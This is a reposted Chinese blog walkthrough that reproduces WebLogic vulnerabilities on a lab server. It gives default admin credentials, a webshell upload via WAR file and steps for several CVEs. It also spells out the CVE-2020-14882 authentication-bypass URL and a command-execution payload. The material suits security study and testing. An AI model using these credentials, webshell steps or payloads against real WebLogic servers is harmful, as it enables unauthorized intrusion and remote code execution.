当前位置： 首页 > news >正文

WebLogic 漏洞复现

news 文章来源：https://blog.csdn.net/2301_80402555/article/details/142435869 2025/5/4 18:27:14

1、后台弱⼝令GetShell

默认账号密码：weblogic/Oracle@123

weblogic常⽤弱⼝令：https://cirt.net/passwords?criteria=weblogic

这⾥注意， 单个账号错误密码5次之后就会⾃动锁定。

http://47.121.212.195:7001/console

2、登录后台后，点击部署，点击安装，点击上传⽂件。

3、上传war包，jsp⽊⻢压缩成zip，修改后缀为war，上传

一直点击下一步

4、使用工具进行连接

2、CVE-2017-3506

1、验证是否存在wls-wsat组件

http://47.121.212.195:7001/wls-wsat/CoordinatorPortType

2、在当前⻚⾯抓包之后，添加下⾯请求包，反弹shell。

3、CVE-2019-2725

1、http://47.121.212.195:7001/_async/AsyncResponseService  

2、在当前⻚⾯抓包 , 修改请求包 , 写⼊shell

3、访问下载到weblogic服务器上的⽊⻢,进⾏连接

4、CVE-2018-2628

1、

2、直接使⽤利⽤工具

5、CVE-2018-2894

1、这⾥环境后台密码是随机得，获取密码: docker-compose logs | grep password

 2、设置Web服务测试开启

域结构 -> base-domain -> ⾼级 -> 启动Web服务测试页

3、点击保存 , 进⼊ config.do ⽂件进⾏设置，将⽬录设置为 ws_utc 应⽤的静态⽂件css⽬录

http://47.121.212.195:7001/ws_utc/config.do
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

4、点击安全 , 点击添加

5、打开控制台, 找到对应时间戳

 

6、Webshell连接

6、CVE-2020-14882

1、访问管理控制台

2、使⽤以下url绕过登录认证

http://47.121.212.195:7001/console/css/%252e%252e%252fconsole.portal

3、⾸先访问以下 URL ,以连接 2 个漏洞并执⾏以下命令
http://47.121.212.195:7001/ console/css/%252e%252e%252fconsole.portal?
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runti me.getRuntime().exec('touch%20/tmp/success');")

相关文章：

WebLogic 漏洞复现

1、后台弱⼝令GetShell 默认账号密码：weblogic/Oracle123 weblogic常⽤弱⼝令：https://cirt.net/passwords?criteriaweblogic 这⾥注意， 单个账号错误密码5次之后就会⾃动锁定。 http://47.121.212.195:7001/console 2、登录后台后&#…...

编程日记 2024/9/27 1:21:51

web基础：域名、网页、HTML、web版本

文章目录 引言域名网站访问方式域名结构域名解析DNS解析过程 网页网页文件类型静态网页与动态网页常用动态网页编程语言 HTMLHTML 语法规则HTML 文件结构HTML 文件基本结构示例：常用 HTML 标签HTML文件基本结构 WEB版本 引言 web（World Wide Web&#x…...

编程日记 2024/9/27 1:20:50

【项目案例】物联网比较好的10+练手项目推荐，附项目文档/源码/视频

练手项目推荐 1 智能小车 项目功能介绍： 本项目由三部分组成：应用端（微信小程序）、设备端（Hi3861）、驱动端（UPS）。 1. 应用端，采用微信小程序作为应用端控制界面。在开…...

编程日记 2024/9/27 1:19:49

AWS注册时常见错误处理

引言 创建AWS账号是使用AWS云服务的第一步，但在注册过程中可能会遇到一些常见的问题。本文中九河云将帮助您排查和解决在创建AWS账户时可能遇到的一些常见问题，包括未接到验证电话、最大失败尝试次数错误以及账户激活延迟等。 常见问题及解决方法 1. …...

编程日记 2024/9/27 1:14:45

Spark-RDD持久化

一、Spark的三种持久化机制 1、cache 它是persist的一种简化方式，作用是将RDD缓存到内存中，以便后续快速访问，提高计算效率。cache操作是懒执行的，即执行action算子时才会触发。 2、persist 它提供了不同的存储级别&#xff0…...

编程日记 2024/9/27 1:13:43

vue2中使用tailwindCss 详细教程

1、先看官方文档：https://www.tailwindcss.cn/ 2、先安装：npm install -D tailwindcss ---------------通过 npm 安装 tailwindcss，然后创建你自己的 create your tailwind.config.js 配置文件。 npm install -D tailwindcss 3、初始化文件—npx tailwindcss init npx ta…...

编程日记 2024/9/27 1:08:38

机器视觉工程师一直做调试，维护岗位，想转岗软件方面C#从零开始，快则三年不到，慢则一辈子不会

其实不是每一家做视觉检测，或者是做设备必须要机器视觉工程师开发，其实公司对标准软件更感兴趣，主要非常高的性价比，省时省钱省人。所以这里有个问题，就是公司平台的重要性，首先他对开发是刚需，…...

编程日记 2024/9/27 1:07:36

【初阶数据结构】详解二叉树 - 树和二叉树（三）（递归的魅力时刻）

文章目录 前言1. 二叉树链式结构的意义2. 手搓一棵二叉树3. 二叉树的遍历（重要）3.1 遍历的规则3.2 先序遍历3.3 中序遍历3.4 后序遍历3.5 遍历的代码实现3.5.1 先序遍历代码实现3.5.2 中序遍历代码实现3.5.3 后序遍历代码实现 4. 统计二叉树结点的个数5.…...

编程日记 2024/9/27 1:02:32

【QT】QWidget 重要属性

文章目录 enabledgeometrywindowTitlewindowIconqrc 机制windowOpacitycursorfontQFont toolTip 和 toolTipDurationfocusPolicyQt::FocusPolicy styleSheet enabled 作用：设置控件是否可使用. true 表⽰可用, false 表⽰禁用. 对应的API bool isEnabled(); // 获…...

编程日记 2024/9/27 1:00:31

什么是数据库连接池？为什么需要使用连接池？

什么是数据库连接池？为什么需要使用连接池？ 什么是数据库连接池？ 数据库连接池是一种创建和管理数据库连接的技术。在传统的应用程序中，每当需要与数据库进行交互时，都会创建一个新的数据库连接。 这种做法虽然简单…...

编程日记 2024/9/27 0:59:30

2024ICPC网络赛第一场C. Permutation Counting 4（线性代数）

题目链接 题目大意：给你n个范围[ l i , r i l_i,r_i li​,ri​]，每个位置可以在这个范围中选择一个数，然后形成排列1到n的排列p。问p的所有情况的个数的奇偶性。 一个很妙的行列式转化，纯纯的线性代数。 首先，我们把…...

编程日记 2024/9/27 0:56:27

01.前端面试题之ts：说说如何在Vue项目中应用TypeScript？

文章目录 一、前言二、使用Componentcomputed、data、methodspropswatchemit 三 、总结 一、前言 与link类似 在VUE项目中应用typescript，我们需要引入一个库vue-property-decorator， 其是基于vue-class-component库而来，这个库vue官方推出…...

编程日记 2024/9/27 0:53:15

【HTTP】方法（method）以及 GET 和 POST 的区别

文章目录 方法（method）登录上传GET 和 POST 有什么区别（面试）区别不准确的说法 方法（method） 首行中的第一部分。首行是由方法、URL 和版本号组成 方法描述了这次请求想干什么，最主要的是&…...

编程日记 2024/9/27 0:52:13

Ubuntu NFS 搭建及配置

在 Ubuntu 上搭建和配置 NFS（Network File System）服务器，可以让其他设备通过网络访问共享的文件夹。以下是步骤指南： 1. 安装 NFS 服务器 首先，安装 NFS 服务器软件包： sudo apt update sudo apt insta…...

编程日记 2024/9/27 0:50:11

双十一好物推荐，这些值得入手的宝藏产品

随着双十一的钟声即将敲响，这个万众期待的购物盛宴就要来临！为了让大家避免在众多的商品中不知所措，妮妮精心筹备了一份购物清单，分享那些我亲身感受超棒，觉得十分值得购买的物品。 这些商品不但价格合理，而…...

编程日记 2024/9/27 0:49:10

秋招内推2025--招联金融

【投递方式】 直接扫下方二维码，或点击内推官网https://wecruit.hotjob.cn/SU61025e262f9d247b98e0a2c2/mc/position/campus，使用内推码 igcefb 投递） 【招聘岗位】 后台开发 前端开发 数据开发 数据运营 算法开发 技术运维 软件测试 产品策…...

编程日记 2024/9/27 0:48:09

C++类和对象——第二关

目录 类的默认成员函数： （一）构造函数 （二）析构函数 （三）拷贝构造函数 类的默认成员函数： 类里面有6个特殊的成员函数分别包揽不同的功能; （一）构造函数…...

编程日记 2024/9/27 0:46:08

服务器数据恢复—raid5阵列热备盘上线失败导致阵列崩溃的数据恢复案例

服务器磁盘阵列数据恢复环境： 服务器中有两组分别由4块SAS硬盘组建的raid5磁盘阵列，两组raid5阵列划分LUN，组成LVM结构，格式化为EXT3文件系统。 服务器磁盘阵列故障： 服务器中一组raid5阵列中有一块硬盘离线&#xff…...

编程日记 2024/9/27 0:43:05

Python与SQL Server数据库结合导出Excel并做部分修改

Python与SQL Server数据库结合导出Excel并做部分修改 需求：在数据库中提取需要的字段内容；并根据字段内容来提取与拆分数据做为新的列最后导出到Excel文件 # -*- coding: utf-8 -*- import pandas as pd import re import pymssql import timestart_ti…...

编程日记 2024/9/27 0:42:04

常见的TTL，RS232，RS485，IIC，SPI，UART之间的联系和区别

简单总结 图片来源 RS232,RS485可参考，IIC，SPI,UART可参考 烧录程序中常听到的一句话就是USB转TTL，但严格来说算是USB传输数据的协议转换成TTL（Transistor-Transistor Logic）协议传输数据。首先，usb是常见…...

编程日记 2024/9/27 0:41:02

【数据结构】栈和队列（Stack Queue）

引言 在对顺序表，链表有了充分的理解之后，现在让我们学习栈和队列！！！ 【链表】 👈链表 【顺序表】👈顺序表 目录 💯栈 1.栈的概念及结构 2.栈的实现 ⭐初始化栈 ⭐入栈 ⭐…...

编程日记 2024/9/27 0:38:00

Vue.js基础

Vue.js https://v2.cn.vuejs.org/https://cn.vuejs.org/初识Vue 官网：Vue (读音 /vjuː/，类似于 view) 是一套用于构建用户界面的渐进式框架。与其它大型框架不同的是，Vue 被设计为可以自底向上逐层应用。Vue 的核心库只关注视图层&#xf…...

编程日记 2024/9/27 0:36:59

罐区紧急切断阀安装位置规范

在化工生产与储存的复杂环境中，罐区紧急切断阀的安装位置规范不仅是保障生产安全的关键一环，更是预防重大事故、减少损失的有效手段。在深入理解了罐区布局、物料特性及潜在风险后，对于紧急切断阀的安装位置，我们应遵循以下更为细…...

编程日记 2024/9/27 0:34:57

JavaScript 中的事件模型

JavaScript 中的事件模型是浏览器如何处理用户交互（如点击、键盘输入、鼠标移动等）或其他事件（如加载完成、定时器等）的机制。理解事件模型有助于我们处理这些事件并响应它们。JavaScript 的事件模型主要包括以下几个部分&#xf…...

编程日记 2024/9/27 0:32:55

理解Java引用数据类型（数组、String）传参机制的一个例子

目录 理解Java引用数据类型（数组、String）传参机制的一个例子理解样例代码输出 参考资料 理解Java引用数据类型（数组、String）传参机制的一个例子 理解 引用数据类型传递的是地址。用引用类型A给引用类型B赋值，相当于…...

编程日记 2024/9/27 0:30:53

【计算机组成原理】实验一：运算器输入锁存器数据写实验

目录 实验要求 实验目的 主要集成电路芯片及其逻辑功能 实验原理 实验内容及步骤 实验内容 思考题 实验要求 利用CP226实验箱上的K16～K23二进制拨动开关作为DBUS数据输入端，其它开关作为控制信号的输入端，将通过K16～K23设定…...

编程日记 2024/9/27 0:29:52

LSI SAS 9361-8i和SAS3008 12 gb / s PCIe 3.0 RAID 阵列卡配置

LSI SAS 9361-8i和SAS3008 12 gb / s PCIe 3.0 RAID 阵列卡配置 开机，BIOS自检，可以看到设备硬盘信息，以及提示CtrlR进入Raid卡配置界面。 按CtrlR进入Raid卡配置界面，一般来说使用CtrlR进入Raid卡配置界面的Raid卡配置都通用。 …...

编程日记 2024/9/27 0:27:50

node js版本低导致冲突WARN EBADENGINE package: required: { node: ‘＞=18‘ }

重新安装依赖包 1、删除旧的 node_modules 目录和 package-lock.json 文件： rm -rf node_modules rm package-lock.json2、升级node版本 wget -qO- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.3/install.sh | bashexport NVM_DIR"$([ -z "${…...

编程日记 2024/9/27 0:24:48

828华为云征文｜使用Flexus X实例安装宝塔面板教学

目录 一、Flexus X实例简介 1.1 概述 1.2 产品规格 二、切换操作系统 2.1 Huawei Cloud EulerOS 2.0 标准版 2.2 切换镜像 三、部署宝塔面板 3.1 安装宝塔面板 3.2 放通安全组规则 3.3 登录宝塔面板 四、使用感受 4.1 柔性算力随心配 4.2 一直加速一直快 4.3 越用…...

编程日记 2024/9/27 0:23:47

1.量化第一步，搭建属于自己的金融数据库！

数据是一切量化研究的前提。 做量化没有数据，就相当于做饭时没有食材。 很多时候，我们需要从大量的数据中寻找规律，并从中开发出策略。如果我们每次使用的时候，都从网上去找数据，一方面效率低下，另一方面短…...

编程日记 2024/9/27 0:22:46